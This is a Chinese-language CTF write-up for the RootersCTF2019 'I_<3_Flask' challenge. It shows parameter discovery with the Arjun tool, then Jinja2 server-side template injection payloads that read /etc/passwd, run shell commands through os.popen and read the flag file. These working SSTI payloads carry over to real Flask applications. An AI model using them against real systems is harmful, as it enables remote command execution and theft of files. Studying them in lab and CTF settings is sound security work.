[RootersCTF2019]I_<3_Flask-1|SSTI注入
- 2022 年 8 月 25 日
- 笔记
- BUUCTF刷题记录, SSTI注入
1、打开之后很明显的提示flask框架,但是未提供参数,在源代码中发现了一个git地址,打开之后也是没有啥用,结果如下:
2、这里我们首先需要爆破出来参数进行信息的传递,就需要使用Arjun这一款工具来进行破解,工具的使用过程:
1、pip3 install arjun
2、python3 setup.py install
输入arjun -h显示如下即可:
3、使用arjun爆破参数名,payload:arjun -u url -c 150 -d 0.5,成功获得参数名name,结果如下:
4、常用的注入方式:
#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
选取命令执行查看下目录信息,获取到flag.txt文件,结果如下:
5、读取下flag.txt文件,payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==’catch_warnings’ %}{{ c.__init__.__globals__[‘__builtins__’].open(‘flag.txt’, ‘r’).read() }}{% endif %}{% endfor %},成功获得flag,结果如下: